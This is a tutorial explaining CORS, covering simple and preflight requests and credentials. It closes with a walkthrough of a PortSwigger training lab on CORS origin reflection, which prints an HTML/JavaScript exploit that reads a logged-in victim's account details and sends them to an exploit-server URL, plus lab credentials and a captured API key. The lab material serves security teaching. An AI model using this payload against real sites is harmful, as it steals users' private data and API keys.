Cross Origin Resource Sharing (CORS)

Last Updated : 10 Oct, 2025

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls how a web application running on one origin (domain, protocol, or port) can request resources from a different origin. By default, browsers block such cross-origin requests to prevent unauthorized access to sensitive data. CORS provides a controlled way to enable intentional sharing of resources with trusted third-party domains through specific HTTP headers.

JavaScript
function httpGetAction(urlLink) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", urlLink, false);
    xmlHttp.send();
    return xmlHttp.responseText;
}

It creates a new XMLHttpRequest object.

  • Opens a GET request to the given URL.
  • The false means synchronous request: The browser will freeze/lock until the response comes back.
  • Sends the request.
  • Returns the response text.

This JavaScript function makes an HTTP GET request to the provided URL (urlLink) and returns the response text from the resource. However, when the request targets a different domain (a cross-origin request), the browser blocks it by default for security reasons. In such cases, you’ll see an error like:

Failed to load https://write.geeksforgeeks.org/: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin https://www.google.com/ is therefore not allowed access.

How CORS Works

Given below the step by step working of CORS:

request

1: Simple requests

These are basic requests such as GET, HEAD, or POST with content types like text/plain, application/x-www-form-urlencoded, or multipart/form-data.

  • Your page runs code like:
fetch("https://api.example.com/data")
  • The browser sends the request directly to api.example.com.
  • The server responds. If the response includes the header:
Access-Control-Allow-Origin: https://your-site.com
  • Then the browser allows your JavaScript to read the response.
  • If the header is missing or does not match your site, the browser blocks access and shows an error in DevTools.

Example (client):

fetch("https://api.example.com/data")
.then(r => r.text())
.then(console.log)
.catch(console.error);

Server must return:

Access-Control-Allow-Origin: https://your-site.com

2: Preflight (Options)

When the browser detects a non-simple request (e.g., using PUT or DELETE, custom headers like X-Auth-Token, or Content-Type: application/json), it first checks with the server before sending the actual request.

  • Your page attempts a non-simple request, for example:
fetch("https://api.example.com/data", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ key: "value" })
});
  • Browser sends an OPTIONS request (the preflight) to the server with these headers: Origin, Access-Control-Request-Method, Access-Control-Request-Headers.
  • The server responds with the CORS policy, e.g.:
Access-Control-Allow-Origin: https://your-site.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, X-Auth-Token
  • If the preflight response allows the request, the browser sends the real request. If not, the browser blocks it.

Preflight request:

OPTIONS /api/user HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-Auth-Token, Content-Type

Preflight response:

Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: X-Auth-Token, Content-Type
Access-Control-Max-Age: 86400

3: Preflighted requests

Common triggers that make the browser preflight:

  • Using methods other than GET, HEAD, POST (e.g., PUT, DELETE).
  • Sending custom headers like X-Requested-With or X-Auth-Token.
  • Content-Type: application/json (this is not a “simple” content type).

Example that triggers a preflight:

fetch("https://www.geeksforgeeks.org//user", {
method: "POST",
credentials: "include", // sends cookies
headers: {
"Content-Type": "application/json", // triggers preflight
"X-Auth-Token": "abc123" // custom header
},
body: JSON.stringify({ name: "ABC" })
});

When you run this, check DevTools and Network: you will see an OPTIONS request first, then the POST only if the server allowed it.

5. Hands-On of CORS

Here’s a hands-on example to observe a CORS failure, apply a fix, and understand how preflight requests and credentials behave.

Step 1: Power on Burp Suite & Log in to PortSwigger Labs

  • Open Burp Suite Community/Professional on your system.
CORS_1_1
file

Launch the lab:

  • Navigate to CORS then go to CORS vulnerability with basic origin reflection.
file

Click “Access the lab”.

  • This will give you a unique lab URL like:
https://0a6400f503a4533b80608ae7008d00ad.web-security-academy.net/

You will also see an Exploit Server link provided by PortSwigger (used later for hosting your attack).

Step 2: Set Up Your Browser with Burp

  • In Burp, go to Proxy and toggle Intercept to On.
file
  • Open the lab in your browser: log in using the credentials provided:
    Username: weiner
    Password: peter

Step 3: Identify the Sensitive Request

  • Browse to My Account in the lab.
file
  • In Burp, check HTTP history.
  • Look for a request to:
Request GET https://0a450001032b2b3b8097536e00a700d6.web-security-academy.net
file
  • This request returns login page (username, password)
file
  • login with the user name and password as the given
username: weiner
password: peter
  • This request returns sensitive information (username, email, API key).
file

Step 4: Test the Origin Reflection

  1. Send the /accountDetails request to Burp Repeater.
file
  • Add a fake Origin header:
    origin: http://xyz.com
    file
  • Send the request.
  • Check the response:
Access-Control-Allow-Origin: https://xyz.com
Access-Control-Allow-Credentials: true
file
  • This confirms the site reflects the Origin, it is vulnerable.

Step 5: Craft the Exploit

  1. Go to your Exploit Server (link is shown in the lab).
file
  • Add the following payload to the Body of your exploit page:
    <!doctype html>
    <html>
    <body>
    <h3>Exploit</h3>
    <script>
    var target = 'https://TARGET_DOMAIN/accountDetails';
    var callback = 'https://EXPLOIT_DOMAIN/log?data=';
    var req = new XMLHttpRequest();
    req.open('GET', target, true); // absolute URL -> fetches from the lab host
    req.withCredentials = true; // important: sends victim cookies
    req.onload = function () {

    var encoded = encodeURIComponent(this.responseText);
    location = callback + encoded;
    };
    req.onerror = function() {
    // fallback: notify exploit server of failure
    location = callback + encodeURIComponent('ERROR: request-failed');
    };
    req.send();
    </script>
    </body>
    </html>
  • Replace YOUR-LAB-ID with your lab’s unique ID (target site).
  • Replace YOUR-EXPLOIT-SERVER with your exploit server URL.

Step 6: Deliver the Exploit

  • Click Store on the exploit server to save the payload.
  • Use View exploit to test it.
    • It should redirect and log sensitive data (like API key).
  • Once confirmed, click Deliver to victim.
  • Open Access Log on the exploit server you should see the admin’s API key.
file

Step 7: Submit the Key

  • Copy the stolen API key.
VcqkZNOoCMrByIV4ytZ9MY4vSdRTKHvL
  • Paste it into the lab’s answer box.
file
  • Lab Solved
file

Key Components

  • Headers: Small pieces of info sent with requests/responses. CORS uses response headers (like Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers, Access-Control-Allow-Credentials) so the browser knows whether a cross-origin response can be read.
  • Preflight (OPTIONS): A quick permission check the browser sends automatically before a “complex” request (e.g., PUT, DELETE, custom headers, or Content-Type: application/json). The server must reply with Access-Control-Allow-* headers to allow the real request.
  • Credentials: Cookies or auth data sent with a request. To allow them cross-origin the client must send credentials: 'include' (or xhr.withCredentials = true) and the server must return Access-Control-Allow-Credentials: true and a specific Access-Control-Allow-Origin (not *).
Comment